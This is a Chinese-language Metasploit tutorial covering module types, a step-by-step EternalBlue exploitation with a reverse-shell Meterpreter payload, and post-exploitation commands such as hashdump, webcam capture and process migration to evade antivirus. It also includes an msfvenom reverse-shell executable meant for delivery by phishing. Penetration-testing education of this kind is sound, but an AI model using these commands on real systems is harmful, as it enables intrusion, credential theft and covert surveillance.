Metasploit Framework 漏洞利用框架实战
什么是 Metasploit
Metasploit Framework 由 Rapid7 维护,是世界上最流行的开源漏洞利用框架。它的核心价值在于:把已知漏洞的 PoC(概念验证)代码封装成标准模块,配合 payload、encoder、listener 组件,让渗透测试者不需要自己写 exploit 就能快速验证目标是否存在漏洞。
模块体系
Metasploit 的所有功能都封装成 module,分六大类:
| 模块类型 | 用途 | 缩写 |
|---|---|---|
| exploits | 漏洞利用代码,直接攻击目标 | E |
| payloads | 成功利用后执行的代码(reverse shell 等) | P |
| auxiliary | 辅助功能(扫描、指纹识别、信息收集) | A |
| encoders | 对 payload 编码,绕过杀软检测 | N |
| nop | 填充字节,用于漏洞利用中的 buffer 构造 | 空指令 |
| post | 后渗透模块(权限提升、凭证收集) | 后渗透 |
启动 Metasploit
Kali 中直接运行:
msfconsole
首次启动会自动初始化数据库(如果用 PostgreSQL)。推荐启动数据库服务以支持搜索历史记录:
sudo systemctl start postgresql
sudo msfdb init
典型攻击流程示例:永恒之蓝(MS17-010)
这是最经典的 Metasploit 攻击流程:
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > run
成功后会获得一个 Meterpreter session(Windows 上的高级交互式 shell)。
Meterpreter 后渗透命令
获得 Meterpreter 后常见的操作:
sysinfo—— 目标系统信息getuid—— 当前运行权限hashdump—— 导出 SAM 数据库密码哈希migrate <PID>—— 将 Meterpreter 注入到另一个进程(绕过杀软)upload/download—— 文件传输screenshot—— 远程截屏webcam_snap—— 远程调用摄像头
Metasploit 的局限
- 签名特征明显,主流杀软的 Metasploit payload 几乎都会被拦截
- 需要配合 encoders 和 shellcode 变换绕过检测
- 企业环境中目标主机通常有 EDR(端点检测与响应),会监控 Meterpreter 行为
进阶:msfvenom 生成独立 payload
不想用 Meterpreter 的时候可以用 msfvenom 生成独立可执行文件:
msfvenom -p windows/x64/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > reverse.exe
生成的 exe 可以通过社工手段让目标运行(邮件附件、钓鱼下载等),攻击者本地用 nc -lvp 4444 监听接收 shell。